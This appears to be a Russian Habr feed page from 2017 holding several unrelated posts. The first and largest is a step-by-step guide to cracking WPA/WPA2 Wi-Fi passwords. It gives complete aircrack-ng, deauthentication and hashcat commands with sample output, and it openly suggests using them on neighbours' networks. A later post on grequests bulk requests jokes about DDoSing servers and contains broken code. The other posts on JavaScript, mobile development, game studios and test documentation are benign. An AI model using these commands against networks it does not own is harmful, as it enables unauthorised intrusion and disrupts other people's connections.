Это краткое пошаговое руководство, которое демонстрирует способ взлома сетей Wi-Fi, защищённых слабыми паролями. Оно не исчерпывающее, но этой информации должно хватить, чтобы вы протестировали свою собственную сетевую безопасность или взломали кого-нибудь поблизости. Изложенная ниже атака полностью пассивна (только прослушивание, ничего не транслируется с вашего компьютера) и о ней невозможно узнать, если вы только реально не воспользуетесь паролем, который взломали. Необязательную активную атаку с деаутентификацией можно применить для ускорения разведывательного процесса. Она описана в конце статьи.

Если вы знакомы с процессом, можете пропустить описания и сразу перейти к списку команд в конце. Разнообразные предложения и альтернативные методы перечислены в приложении.

ОТКАЗ ОТ ОТВЕТСТВЕННОСТИ: Данное ПО/руководство предназначено только для образовательных целей. Его нельзя использовать для нелегальной активности. Автор не несёт ответственности за его использование. Не будь уродом.

Для начала


Это руководство предполагает, что вы:

  • В целом не испытываете проблем с использованием командной строки.
  • Работаете в дистрибутиве Linux на базе Debian, желательно Kali linux (пользователям OS X см. приложение).
  • У вас установлен Aircrack-ng
    • sudo apt-get install aircrack-ng
  • Ваша карта беспроводной связи поддерживает режим монитора (см. список совместимых устройств).

Взлом сети Wi-Fi


Режим монитора


Начнём со списка беспроводных интерфейсов, которые поддерживают режим монитора:

airmon-ng

Если вы не видите интерфейсов в списке, то ваша карта не поддерживает режим монитора. :(

Предположим, что название вашего интерфейса wlan0, но используйте настоящее название, если оно отличается от этого. Далее, переведём интерфейс в режим монитора:

airmon-ng start wlan0

Запускаем iwconfig. Теперь вы должны увидеть новый интерфейс монитора (скорее всего, mon0 или wlan0mon).

Найти цель


Начните прослушивать трансляцию кадров неисправности окружающих беспроводных маршрутизаторов, используя свой интерфейс монитора:

airodump-ng mon0

Вы должны увидеть примерно такую выдачу.

CH 13 ][ Elapsed: 52 s ][ 2017-07-23 15:49                                         
                                                                                                                                              
 BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID
                                                                                                                                              
 14:91:82:F7:52:EB  -66      205       26    0   1  54e  OPN              belkin.2e8.guests
 14:91:82:F7:52:E8  -64      212       56    0   1  54e  WPA2 CCMP   PSK  belkin.2e8
 14:22:DB:1A:DB:64  -81       44        7    0   1  54   WPA2 CCMP        
 14:22:DB:1A:DB:66  -83       48        0    0   1  54e. WPA2 CCMP   PSK  steveserro
 9C:5C:8E:C9:AB:C0  -81       19        0    0   3  54e  WPA2 CCMP   PSK  hackme
 00:23:69:AD:AF:94  -82      350        4    0   1  54e  WPA2 CCMP   PSK  Kaitlin's Awesome
 06:26:BB:75:ED:69  -84      232        0    0   1  54e. WPA2 CCMP   PSK  HH2
 78:71:9C:99:67:D0  -82      339        0    0   1  54e. WPA2 CCMP   PSK  ARRIS-67D2
 9C:34:26:9F:2E:E8  -85       40        0    0   1  54e. WPA2 CCMP   PSK  Comcast_2EEA-EXT
 BC:EE:7B:8F:48:28  -85      119       10    0   1  54e  WPA2 CCMP   PSK  root
 EC:1A:59:36:AD:CA  -86      210       28    0   1  54e  WPA2 CCMP   PSK  belkin.dca

Захват 4-стороннего рукопожатия


WPA/WPA2 использует 4-стороннее рукопожатие для аутентификации устройств в сети. Неважно, что это значит, но вам нужно захватить одно из этих рукопожатий, чтобы взломать сетевой пароль. Эти рукопожатия происходят каждый раз, когда устройства подключаются к сети, например, когда ваш сосед возвращается домой с работы. Чтобы перехватить рукопожатие, мы направляем airmon-ng для мониторинга трафика в целевой сети, используя значения канала и bssid, полученные предыдущей командой.

# replace -c and --bssid values with the values of your target network
# -w specifies the directory where we will save the packet capture
airodump-ng -c 3 --bssid 9C:5C:8E:C9:AB:C0 -w . mon0


 CH  6 ][ Elapsed: 1 min ][ 2017-07-23 16:09 ]

 BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID

 9C:5C:8E:C9:AB:C0  -47   0      140        0    0   6  54e  WPA2 CCMP   PSK  ASUS

Теперь мы ждём… Как только будет захвачено рукопожатие, вы должны увидеть в правом верхнем углу экрана, рядом с текущим временем что-то вроде [ WPA handshake: bc:d3:c9:ef:d2:67.

Если не терпится и вы согласны на активную атаку, то можете заставить устройства в сети заново соединиться, принудительно разъединив их. Для этого им нужно отправить вредоносные пакеты на деаутентификацию. Это часто приводит к перехвату 4-стороннего рукопожатия. См. раздел об атаке с деаутентификацией ниже.

Как только вы перехватили рукопожатие, нажмите ctrl-c для выхода из airodump-ng. Вы увидите файл .cap там, где указали airodump-ng сохранять перехваты (скорее всего, он называется -01.cap). Мы используем этот файл перехвата для взлома сетевого пароля. Я люблю менять название файла в соответствии с названием сети, которую мы будем взламывать:

mv ./-01.cap hackme.cap

Взлом пароля сети


Последний шаг — это взломать пароль, используя перехваченное рукопожатие. Если у вас есть доступ к GPU, настоятельно рекомендую использовать для взлома пароля hashcat. Я создал простой инструмент, с помощью которого использовать hashcat очень легко: он называется naive-hashcat. Если у вас нет доступа к GPU, то можно воспользоваться различными онлайновыми GPU-сервисами для взлома, вроде GPUHASH.me или OnlineHashCrack. Можете также попробовать использовать CPU-брутфорс с помощью Aircrack-ng.

Обратите внимание, что оба метода атаки ниже предполагают относительно простой пользовательский пароль. Большинство маршрутизаторов WPA/WPA2 поставляются с сильными 12-значными случайными паролями, которые большинство пользователей оставляют без изменений (и правильно делают). Если пробуете взломать один из таких паролей, рекомендую использовать словарные файлы Probable-Wordlists WPA-length.

Взлом с помощью naive-hashcat (рекомендуемый метод)
До того, как начать взлом пароля с помощью naive-hashcat, нужно конвертировать наш файл .cap в эквивалентный hashcat формат для .hccapx. Это легко сделать или загрузив файл .cap на https://hashcat.net/cap2hccapx/, или напрямую используя инструмент cap2hccapx.

cap2hccapx.bin hackme.cap hackme.hccapx

Затем скачиваем и запускаем naive-hashcat:

# download
git clone https://github.com/brannondorsey/naive-hashcat
cd naive-hashcat

# download the 134MB rockyou dictionary file
curl -L -o dicts/rockyou.txt https://github.com/brannondorsey/naive-hashcat/releases/download/data/rockyou.txt

# crack ! baby ! crack !
# 2500 is the hashcat hash mode for WPA/WPA2
HASH_FILE=hackme.hccapx POT_FILE=hackme.pot HASH_TYPE=2500 ./naive-hashcat.sh


Naive-hashcat использует различные словари, правила, комбинации и маски (умный брутфорс) для проведения атаки. Атака на пароль средней сложности может занять дни или даже месяцы. Взломанный пароль будет сохранён в hackme.pot, так что периодически проверяйте этот файл. Как только пароль взломан, то в POT_FILE вы увидите что-то такое:

e30a5a57fc00211fc9f57a4491508cc3:9c5c8ec9abc0:acd1b8dfd971:ASUS:hacktheplanet

Где последние два поля, разделённые : представляют собой имя сети и пароль, соответственно.

Если предпочитаете использовать hashcat без naive-hashcat, то см. эту страницу.

Взлом с Aircrack-ng
Aircrack-ng можно использовать для самых простых словарных атак силами CPU. Перед началом атаки нужно получить список слов. Рекомендую использовать известный словарный файл rockyou:

# download the 134MB rockyou dictionary file
curl -L -o rockyou.txt https://github.com/brannondorsey/naive-hashcat/releases/download/data/rockyou.txt


Обратите внимание, что если сетевой пароль отсутствует среди слов в файле, то вы его не взломаете.

# -a2 specifies WPA2, -b is the BSSID, -w is the wordfile
aircrack-ng -a2 -b 9C:5C:8E:C9:AB:C0 -w rockyou.txt hackme.cap


Как только пароль взломан, вы увидите в окне терминала сообщение KEY FOUND!, после которого будет указан пароль в текстовом виде.

                                 Aircrack-ng 1.2 beta3


                   [00:01:49] 111040 keys tested (1017.96 k/s)


                         KEY FOUND! [ hacktheplanet ]


      Master Key     : A1 90 16 62 6C B3 E2 DB BB D1 79 CB 75 D2 C7 89 
                       59 4A C9 04 67 10 66 C5 97 83 7B C3 DA 6C 29 2E 

      Transient Key  : CB 5A F8 CE 62 B2 1B F7 6F 50 C0 25 62 E9 5D 71 
                       2F 1A 26 34 DD 9F 61 F7 68 85 CC BC 0F 88 88 73 
                       6F CB 3F CC 06 0C 06 08 ED DF EC 3C D3 42 5D 78 
                       8D EC 0C EA D2 BC 8A E2 D7 D3 A2 7F 9F 1A D3 21 

      EAPOL HMAC     : 9F C6 51 57 D3 FA 99 11 9D 17 12 BA B6 DB 06 B4

Атака с деаутентификацией


Атака с деаутентификацией предполагает отправку поддельных пакетов на деаутентификацию с вашей машины клиенту, подключенному к сети, которую вы пытаетесь взломать. Эти пакеты включают в себя поддельные адреса "sender", так что клиент думает, что они отправлены с настоящих точек доступа. Получив такой пакет, большинство клиентов отключаются от сети и немедленно переподключаются, обеспечивая вам возможность участвовать в 4-стороннем рукопожатии, если вы мониторите с помощью airodump-ng.

Используйте airodump-ng для мониторинга конкретной точки доступа (используя -c channel --bssid MAC) до тех пор, пока клиент (STATION) не подключится. Подключенный клиент выглядит примерно так, где 64:BC:0C:48:97:F7 его MAC-адрес:

 CH  6 ][ Elapsed: 2 mins ][ 2017-07-23 19:15 ]
                                                                                                                                           
 BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID
                                                                                                                                           
 9C:5C:8E:C9:AB:C0  -19  75     1043      144   10   6  54e  WPA2 CCMP   PSK  ASUS
                                                                                                                                           
 BSSID              STATION            PWR   Rate    Lost    Frames  Probe
                                                                                                                                           
 9C:5C:8E:C9:AB:C0  64:BC:0C:48:97:F7  -37    1e- 1e     4     6479  ASUS

Теперь оставим airodump-ng работать, а сами откроем новое окно консоли. Мы используем команду aireplay-ng для отправки пакета на деаутентификацию жертве, заставляя его переподключиться к сети, и будем надеяться на рукопожатие.

# -0 2 specifies we would like to send 2 deauth packets. Increase this number
# if need be with the risk of noticeably interrupting client network activity
# -a is the MAC of the access point
# -c is the MAC of the client
aireplay-ng -0 2 -a 9C:5C:8E:C9:AB:C0 -c 64:BC:0C:48:97:F7 mon0


Как вариант, вы можете транслировать пакеты деаутентификации всем клиентам вокруг:

# not all clients respect broadcast deauths though
aireplay-ng -0 2 -a 9C:5C:8E:C9:AB:C0 mon0


Как только вы отправили пакеты, возвращайтесь к процессу airodump-ng, и при удачном стечении обстоятельств увидите справа вверху: [ WPA handshake: 9C:5C:8E:C9:AB:C0. Теперь вы перехватили рукопожатие и можно начинать взлом пароля сети.

Список команд


Ниже список всех команд, которые нужны для взлома сети WPA/WPA2, по порядку, с минимальным описанием.

# put your network device into monitor mode
airmon-ng start wlan0

# listen for all nearby beacon frames to get target BSSID and channel
airodump-ng mon0

# start listening for the handshake
airodump-ng -c 6 --bssid 9C:5C:8E:C9:AB:C0 -w capture/ mon0

# optionally deauth a connected client to force a handshake
aireplay-ng -0 2 -a 9C:5C:8E:C9:AB:C0 -c 64:BC:0C:48:97:F7 mon0

########## crack password with aircrack-ng... ##########

# download 134MB rockyou.txt dictionary file if needed
curl -L -o rockyou.txt https://github.com/brannondorsey/naive-hashcat/releases/download/data/rockyou.txt

# crack w/ aircrack-ng
aircrack-ng -a2 -b 9C:5C:8E:C9:AB:C0 -w rockyou.txt capture/-01.cap

########## or crack password with naive-hashcat ##########

# convert cap to hccapx
cap2hccapx.bin capture/-01.cap capture/-01.hccapx

# crack with naive-hashcat
HASH_FILE=hackme.hccapx POT_FILE=hackme.pot HASH_TYPE=2500 ./naive-hashcat.sh


Приложение


Отзывы на это руководство были такими замечательными, что я добавил советы и дополнительные материалы от участников сообщества в дополнительное приложение. Изучите его, чтобы узнать, как:

  • Перехватывать рукопожатия и взламывать пароли WPA на MacOS/OSX
  • Перехватывать рукопожатия со всех сетей вокруг с помощью wlandump-ng
  • Использовать crunch для генерации на лету словарных списков на 100 ГБ и больше
  • Подделывать свой MAC-адрес с помощью macchanger

Авторство


Основная часть информации здесь почерпнута из великолепного руководства Льюиса Энкарнасьона. Спасибо также авторам и мейнтейнерам Aircrack-ng и Hashcat.

Огромная благодарность neal1991 за перевод этого руководства на китайский. Кроме того, благодарим hiteshnayak305, enilfodne, DrinkMoreCodeMore, hivie7510, cprogrammer1994, 0XE4, hartzell, zeeshanu, flennic, bhusang, tversteeg, gpetrousov, crowchirp и Shark0der с Reddit и GitHub, которые тоже помогли советами и исправлением опечаток. Если вам интересно узнать о дополнительных вариантах взлома WPA2, почитайте это обсуждение на Hacker News.
Original source: habrahabr.ru (comments, light).

https://habrahabr.ru/post/334966/


Метки:  

[Из песочницы] Создаем массу асинхронных запросов при помощи Grequests

Суббота, 05 Августа 2017 г. 23:04 + в цитатник
Requests хорошо, но grequests лучше. Я не знаю лучше, эффективней библиотеку, которая умеет быстро и элегантно выполнять HTTP-запросы нежели requests, данная библиотека — несомненный лидер, в данном плане.

Но так как с асинхронностью, у неё хромает, выполнять асинхронные запросы возможно с использованием threading или gevent.

Написал grequests, тот же автор что и написал requests. Только с использованием gevent + requests. Не буду долго мусолить тему, дам вам подробную информацию о данной библиотеки.

Grequestsявляется асинхронной обёрткой над обычной requests.

Сделаем обычный POST-запрос на множество url-адресов:

import grequests 
with open("C:\\path\\urls.txt") as werewolves: 
    array = [row.strip() for row in werewolves]

params = {'a':'b', 'c':'d'}
rs = [grequests.post(u, data=params) for u in array]
for r in grequests.imap(rs, size=16) 
    print(r[0].status_code, r[0].url)

Все довольно просто, импортируется библиотека, открывается файл на чтение, создается список, переменной params присваивается значения a:b, c:d.

Далее создаем переменную rs которая будет отвечать за сам POST-запрос, для переменной r создаем grequests.map([rs], size=является асинхронным значением, чем больше значение тем быстрее будут выполнятся http-запросы, правда больше 16 не имеет смысла ставить).

Теперь так как мы передали все аргументы в переменную r, то есть в grequests.imap() мы можем взаимодействовать с данной переменной как в обычном requests.

И последним шагом нам нужно вывести все status code, url address, также rs выступает списком, это мы делаем для того чтоб не было ошибок индексации по типу:

TypeError: 'Response' object does not support indexing

Если у вас все ровно вылезает traceback с данной ошибкой, предлагаю вариант:

def exception_handlerr(request, exception):
    print("Request failed", request.url) 

import grequests 
with open("C:\\path\\urls.txt") as werewolves: 
    array = [row.strip() for row in werewolves]

params = {'a':'b', 'c':'d'}
rs = [grequests.post(u, data=params) for u in array]
for r in grequests.map([rs], size=16, exception_handler=exception_handlerr) 
    print(r[0].status_code, r[0].url)


Теперь и к переменной r мы будем обращаться как к списку, дабы избежать ошибок индексации.
Основные шаги, мы сделали. Можете «ДУДОСИТЬ» сервера. Хотя, заоблачной асинхронностью данная библиотека не обладает. Это можно приглянуть к Aiohttp.

Ещё хотел бы поговорить о исключениях в grequests. Так как grequests не использует error-классы из requests, а делает следующим образом:

def send(self, **kwargs):
    """
    Prepares request based on parameter passed to constructor and optional      ``kwargs```.
    Then sends request and saves response to :attr:`response`

    :returns: ``Response``
    """
    merged_kwargs = {}
    merged_kwargs.update(self.kwargs)
    merged_kwargs.update(kwargs)
    try:
        self.response = self.session.request(self.method,
                                            self.url, **merged_kwargs)
    except Exception as e:
        self.exception = e
        self.traceback = traceback.format_exc()
    return self

Мы ловим при помощи exception_handler:

def exception_handlerr(request, exception):
    print("Request failed", request.url) 
    # print(str(exception)) 


Полный исходный код:

def exception_handlerr(request, exception):
    print("Request failed", request.url) 

import grequests 
with open("C:\\path\\urls.txt") as werewolves: 
    array = [row.strip() for row in werewolves]

params = {'a':'b', 'c':'d'}
rs = [grequests.post(u, data=params) for u in array]
for r in grequests.map([rs], size=16, exception_handler=exception_handlerr) 
    print(r.status_code, r.url)


Так мы сможем с полной уверенностью отлавливать ошибки.

С GET-запросами все так-же просто как и с POST-запросами:

def exception_handlerr(request, exception):
    print("Request failed", request.url) 

import grequests 
with open("C:\\path\\urls.txt") as werewolves: 
    array = [row.strip() for row in werewolves]

params = {'a':'b', 'c':'d'}
rs = [grequests.get(u) for u in array]
for r in grequests.map([rs], size=16, exception_handler=exception_handlerr) 
    print(r.status_code, r.url)


Исходный код grequests.
Документация по requests.

Удачного вам дня!
Original source: habrahabr.ru (comments, light).

https://habrahabr.ru/post/334970/


Метки:  

JavaScript как мыслевирус

Суббота, 05 Августа 2017 г. 22:28 + в цитатник
Вообще я стараюсь не писать статьи и комментарии не на технические темы, но коль скоро появились не совсем технические по духу статьи JavaScript как явление и JavaScript как праздник, я счел нужным принять участие в дискуссии.


Начнем с того, что я не пишу на JavaScript профессионально. Я много пишу на TypeScript, считаю что разбираюсь во frontend-разработке (например сейчас я занимаюсь интеграцией собственной реализации VDOM в свой датагрид-движок Lattice, о котором скоро будет отдельная статья. Ну как скоро… будет, в общем :), однако мой основной профиль — C# и делать всё, чтобы защитить бедных C# разработчиков от излишнего ныряния в JavaScript.

Так вот. Прошу обратить внимание, что я решительно не имею ничего против JavaScript как такового и его технической экосистемы. Это нормальный язык, с приемлемым тулсетом. Во всяком случае мне в нем комфортнее чем в каком-нибудь… LabView. Я не считаю его уж шибко плохо сделанным — в конце концов в нем нет несовместимых с жизнью недостатков, но однако и ничего революционного или магического я в нем так же не нахожу. Мой основной посыл — к сообществу. К людям, а не к технологии, ибо как с моей точки зрения, большинство проблем и холиваров вокруг JavaScript происходит не от самого языка, а от его, как мне иногда кажется, обезумевших последователей. Имея за плечами продолжительный опыт общения с разработчиками на JavaScript, я предположил что этот язык работает как мыслевирус, который со временем превращает пишущего на нем человека в агрессивного фанатика, чего мне не удалось отметить с другими технологиями. Собственно, эта статья является сатирой на штампы JavaScript-разработчиков, которых JavaScript поразил как мыслевирус. Отсюда и название.

И да. Я не считаю что все поголовно JavaScript-разработчики такие. Среди них есть нормальные и адекватные люди, которым удалось остановиться на каком-либо квалификационном уровне и сохранить трезвость ума и здравость памяти. Однако же фанатизм от JavaScript-а настолько фееричен, что заслуживает отдельного рассмотрения. Итак…

Дорогой JavaScript-разработчик!


Если ты это читаешь, то ты должен знать: твой язык имеет характер мыслевируса. Он серьезно разъедает мозг по мере того, как ты продолжаешь заниматься этой гадостью. Сам ты этого, вероятно, не замечаешь, но мы, люди «извне», слышим тебя, видим и читаем. Мы разработали специальную карту с советами что делать, чтобы ты мог самостоятельно диагностировать тяжесть своего состояния, вылечиться и по-скорее вернуться к нормальной жизни.

0 уровень: «jQuery — хороший»



Симптомы:
— JavaScript тебя интересует только по работе
— Ты можешь написать кусок кода в теге

https://habrahabr.ru/post/334964/


Метки:  

Дайджест интересных материалов для мобильного разработчика #215 (31 июля — 5 августа)

Суббота, 05 Августа 2017 г. 17:55 + в цитатник
В новом дайджесте мы разбираем Android на части, спорим с Apple по поводу PWA, смотрим, как делается новостной агрегатор, исследуем Firebase, учимся на дизайнеров интерфейсов, возвращаем и вознаграждаем пользователей.



Как работает Android, часть 1

В этой серии статей я расскажу о внутреннем устройстве Android ?—? о процессе загрузки, о содержимом файловой системы, о Binder и Android Runtime, о том, из чего состоят, как устанавливаются, запускаются, работают и взаимодействуют между собой приложения, об Android Framework, и о том, как в Android обеспечивается безопасность.

Дайджест доступен и в виде рассылки. Подписаться вы можете тут.

iOS


Android


Windows


Разработка


Аналитика, маркетинг и монетизация


Устройства, IoT, AI



< Предыдущий дайджест. Если у вас есть другие интересные материалы или вы нашли ошибку — пришлите, пожалуйста, в почту.
Original source: habrahabr.ru (comments, light).

https://habrahabr.ru/post/334958/


[Из песочницы] С чего начать молодым разработчикам мобильных игр из России в текущих реалиях

Суббота, 05 Августа 2017 г. 17:17 + в цитатник

Лирическое отступление


Всем доброго времени суток!


Сразу небольшой дисклеймер: "В этом посте вы не увидите программного кода, рассказов о простоте разработки и призывов всем заняться игродельством под заманчивой перспективой разбогатеть на своём хобби".


Хочу рассказать о том, как начала создаваться наша молодая indie студия и какие выводы мы для себя почерпнули.


Коротко о нас и как так вышло


Около полугода назад я принимал участие в жизни веб-студии. На протяжении этого времени у меня и единомышленников сложилось мнение: хватит заниматься заказной разработкой, нужно делать свой продукт. Вопрос оставался за малым — какой же продукт мы хотим делать?


Вариантов была масса, все они были тщательно проработаны и собраны небольшие бизнес планы.
Решили остановиться на области game dev. Хочу, чтобы вы понимали правильно, что в этой области действительно есть как свои огромные перспективы и шансы, так и огромные риски потерять много времени, денег, сил и при этом не получить ничего взамен. Об историях успехов и падений написано много, так что мы опустим эти моменты.


Начало работы


Для начала работы банального решения что то делать недостаточно, в конце концов мы все работаем не ради работы, а для того, чтобы добиться успеха в той или иной сфере. В свой жизни я сталкивался с тремя типами внутренней мотивации людей для трудовой деятельности:


  • Люди, которым нужно заработать деньги;
  • Люди, которые хотят стать лучшими в своей сфере;
  • Люди, для которых работа — это хобби, за которое им платят.

Все они руководствуются разными стимулами, но по факту их успешность измеряется всё таки только в денежном эквиваленте. Это и есть мерило того, на сколько ты правильно движешься к цели. Это фактор и стал основным показателем для нашей дальнейшей аналитики.


Для небольших стартапов очень важно правильно оценивать свои силы. Имея на руках общую аналитику мы стали анализировать конкретные механики и рынки сбыта. План действий выглядел приблизительно так:


  1. Анализ рынка;
  2. Выбор платформы;
  3. Выбор механики;
  4. Выбор движка под механику;
  5. Написание концепций;
  6. Подготовка материалов;
  7. Начало разработки.

Анализ рынка и выбор платформы


На данный момент ежегодный рост рынка мобильных игр и приложений близится к 30%, при этом игры для ПК и консолей такими показателями похвастаться не могут.


Безусловным фаворитом для нас стали мобильные платформы Android и iOS. Разработка решили вести на обе платформы и руководствовались такой логикой, что выпускать продукт для рынка России и бывших стран СНГ (где преобладает Android) не на столько интересно, как для стран Европы, Азии (Китай и Япония) ну и конечно же США. Аудитория, которая пользуется выбранными платформами в этих странах разделилась практически поровну.


Выбор механики


Скажем так: топы по скачиваниям и сборам — MMO и фермы, но для молодой студии это слишком долго и дорого. На втором месте — казуалки формата 2048 и три в ряд, но ниша очень переполнена такими приложениями и занять в ней достойное место будет сложно. Дальше мы увидели, что ранеры subway surfers, temple run и им подобные имеют огромное количество скачиваний, находятся в топах по популярности но не имеют отметок по топовости сборов.


Вывод напрашивается сам за себя — не придумали как это правильно монетизировать. Мы решили попробовать. О том как разрабатывалась внутриигровая экономика я расскажу в следующем посте.


Выбор движка


Тут всё было максимально и просто. Выбрали unity3d из за относительной простоты разработки и портирования на разные устройства.


Написание концепций


Тоже просто. Нескольким сценаристам была поставлена задача написать по несколько сетингов под выбранную механику и платформы. Из всех вариантов коллегиально выбрали лучший вариант.


Рекомендация, которую мы слышали от многих разработчиков и которую я хочу дать вам: на первых парах не нужно сильно углубляться в детали. По мере развития концепция будет меняться и лишние детали приведут к потере времени. В самом начале это непозволительная роскошь.


Подготовка материалов


Далее были собраны кейсы успешных игр, которые отличились визуальной составляющей и атмосферой. По референсам была поставлена задача иллюстраторам и программистам.
Были сделаны первые скетчи и собран небольшой уровень без графических элементов (набор кружочков и квадратиков). Дальше работу программистов, гейм дизайнера и иллюстраторов нужно было поставить на поток и стандартизировать. Мы использовали Google docs в качестве площадки для диз.доков, Trello для таск трекинга и Telegram для корпоративного общения. Для небольшой команды использовать Jira или Bitrix24 по нашему скромному мнению не имеет смысла.


Начало разработки


После того как прошла формализация формата работы осталось отрабатывать намеченные объемы и соблюдать сроки. Механизм начал работать. Это то, что мы успели сделать за один календарный месяц.


P.S.


На данный момент мы запустили наш проморолик, где рассказывается небольшая часть сценария и показан кусочек сырого геймплея, всего около 30% намеченного объема. Посмотреть его можно по ссылке.


В дальнейшем хотелось бы раскрыть многие темы, но делать это на данном этапе нецелесообразно, но я обязательно это сделаю, когда из гипотез они превратятся в сухую аналитику.


У нас останется очень много тем, касающихся продвижения, нетворкинга, подбора команды, публикации приложений. Я думаю, что список обязательно будет пополняться.


To be continued...

Original source: habrahabr.ru (comments, light).

https://habrahabr.ru/post/334956/


Метки:  

Тестовая документация. Превращаем таблицы в деревья

Суббота, 05 Августа 2017 г. 13:56 + в цитатник


В предыдущей статье я рассказывала, как в нашей компании проходит первая стадия тестирования проекта — анализ. Сегодня расскажу о следующем этапе — проектирования и документирования тестов.

Этот этап опционален. На некоторых проектах нет задокументированных требований, и тогда зачастую поддержка тестовой документации является единственным разумным способом хранения и передачи знаний о продукте. Иногда тестовую документацию требует заказчик, иногда мы пишем ее для себя. Иногда, если у нас есть хорошо написанные требования, мы отказываемся от документирования тестов в пользу экономии ресурсов.

Вид тестовой документации также зависит от ситуации на проекте и ожиданий заказчика.

Чек-листы vs Тест-кейсы


Чек-лист отличается от тест-кейса степенью подробности. В чек-листе вы не встретите подробных шагов кейса, для использования чек-листа при тестировании очень много информации нужно держать в голове в момент прогона тестов и знать логику работы приложения на отлично.

В нашей компании всегда использовались чек-листы, поскольку на написание тест-кейсов уходит неоправданно много времени, и они тяжеловесны — на прочтение кейса и его осознание тоже уходит время. Кроме того, не стоит забывать про эффект пестицида — баги кода имеют свойство приспосабливаться к тестам. При использовании чек-листа сохраняется некоторая свобода действий, а тест-кейсы этой свободы полностью лишают, увеличивая упомянутый выше эффект. Однако, при прогоне чек-листа в седьмой раз за последние сутки перед релизом часть функциональности, заложенной под одним пунктом чек-листа, теряется по причине человеческого фактора.

Было принято решение расширять чек-листы и делать их подробнее. Так тестировщик, в беспамятстве прогоняющий фичу перед релизом, не забудет проверить ошибки сети в ответ на каждый запрос, не потеряет проверку какой-нибудь «неважной» кнопки или какого-нибудь одного статуса из двенадцати. Так мы пришли к написанию подробной юзер-стори, полностью покрывающей фичу приложения, но по факту являющей собой один громадный тест-кейс.

Плюсы такого подхода:
  • чек-лист подразумевает непрерывное выполнение его тестировщиком. Соответственно, все кейсы расположены в порядке, удобном для прогона, и времени на переход к следующему кейсу не тратится
  • чек-лист покрывает большое количество пользовательских сценариев
  • чек-лист содержит как позитивные, так и негативные кейсы. Проверяет восстановление после ошибок и прерываний, что в случае мобильных приложений очень важно
  • чек-лист подразумевает длинные сессии, что повышает вероятность обнаружения утечек памяти и навигационных проблем
  • информация о требованиях поступает тестировщику последовательно, что дает лучшее понимание логики работы приложения


Минусы такого подхода:
  • чек-лист подразумевает декомпозицию по экранам приложения и сильно завязан на дизайн. Соответственно, все изменения в дизайне подразумевают изменения в чек-листе
  • с учетом, что кейсы такого чек-листа должны быть связаны в единую стори, а кейсов в одном чек-листе может быть до двух сотен, поддерживать его сложно
  • эффект пестицида значительно повышается
  • чек-лист не может заменить требования для разработчиков — разрабатывать по таким требованиям неудобно
  • чек-лист довольно долго писать и из-за его громоздкости его не всегда удобно использовать — по факту он пригождается только в финале перед релизом


Долгое время мы жили так. Вели свои чек-листы в системе тест-менеджмента Sitechko. Но компания менялась, менялись бизнес-процессы, и вопрос о переходе на другую TMS висел в воздухе. Он стал толчком для пересмотра процесса ведения тестовой документации.

Таблицы vs Деревья


Однажды я выпила поливитаминов, и меня осенило, что вместо того, чтобы хранить тесты в табличных форматах, куда удобнее использовать деревья, а точнее, вложенные списки. Ведь при написании той самой большой юзер-стори мы так часто сталкиваемся с проблемой, что не знаем, где расположить альтернативные действия. Например, когда у нас несколько кнопок на алерте. Чтобы проверить каждую из них, нам приходится прописывать вызов этого алерта несколько раз. Вместо этого мы могли бы подвесить проверку каждой из кнопок к вызову алерта.

В целом идея была в том, чтобы прописывать те же самые пользовательские сценарии в виде дерева, в котором переход — это действие, а узел — это состояние, в котором оказывается приложение после этого действия. По факту диаграмма состояний-переходов, только объектами выступают экраны приложения. Каждая ветвь такого дерева — тест-кейс.



Когда стали пробовать, столкнулись с проблемами. Оказалось, что привычная нам декомпозиция по экранам приложения не работает: опираться на дизайн при проектировании тестов неудобно. Ветки дерева росли далеко в глубину, и это было неудобно визуально. В погоне за сценарием мы воротили циклы. А еще стало понятно, что отказаться от таблиц нельзя.

Решение крылось в смене подхода к декомпозиции, большей осознанности и отказе от «решений по умолчанию». Древовидная структура тестовой документации действительно удобна, поскольку дает большую свободу при проектировании. Вид декомпозиции определяет, что именно станет узлами нашего дерева. А это в свою очередь определяется особенностями продукта и приоритетами заказчика.

В целом, плюсы использования древовидной структуры:
  • структура такой документации в итоге очень гибкая и позволяет вести как чек-листы, так и тест-кейсы в зависимости от нужд проекта
  • дерево представляется в виде вложенных списков: у узлов дерева есть некоторый порядок, что сохраняет возможность последовательной и структурированной передачи информации о требованиях тестировщику в случае отсутствия на проекте задокументированного ТЗ
  • такая структура позволяет спроектировать тестовую документацию, которую можно передать разработчикам вместо ТЗ
  • временные затраты на написание чек-листов и тест-кейсов снижаются, поскольку структура позволяет избежать копипасты


Минусы подхода:
  • такая структура тестовой документации требует тщательного проектирования и предварительной аналитики — при плохом проектировании все упомянутые выше плюсы теряются


Итоговые паттерны


Экраны приложения


Источником знаний является навсхема. Первый уровень дерева составляет список кейсов навсхемы, который обычно соответствует разделам приложения. Далее к ним подвешивается список экранов каждого раздела, к каждому экрану — список его состояний. В каждом узле дерева, начиная с третьего уровня, может содержаться чек-лист в табличном формате, описывающий каждый элемент дизайна и способы взаимодействия с ним. Если элементы дизайна сложные и имеют много состояний или на экране есть повторяющиеся элементы, можно декомпозировать еще глубже. Таким образом, одна ветвь дерева описывает жизненный цикл одного экрана.

Ниже в качестве примера приведена общая схема рассуждений при декомпозиции раздела заказов агрегатора авиабилетов.





К листьям этого дерева крепим короткие чек-листы. Так к каждому листу «навбар» линкуем чек-лист на элементы навбара для текущего экрана:



А к каждому листу «секция запланированные поездки» линкуем чек-лист на проверку части списка с активными заказами:



Критерии для выбора такого паттерна следующие:
  • UI является приоритетным для заказчика
  • минимум бизнес-логики на клиенте
  • для приложения характерны кастомные элементы дизайна и анимации, сложные жесты
  • на проекте нет других задокументированных требований кроме навсхемы


Объекты/действия


При таком подходе ориентируемся не на навсхему, а на документацию АПИ и клиентскую бизнес-логику. Негативные и позитивные кейсы разбиваем по разным веткам. Желательно, чтобы элементы одного уровня дерева отвечали на один вопрос, но можно оставить это ограничение только для одного уровня иерархии.

Такая схема крайне удобна в тех случаях, когда у нас есть активное влияние пользователей друг на друга, что порождает сложные сценарные цепочки. Примером может служить чат. Относительно предыдущего подхода такую документацию легче поддерживать, поскольку изменения в логике случаются реже, чем в дизайне.

Ниже приведен пример общей схемы рассуждений при декомпозиции по принципу объект/действие.





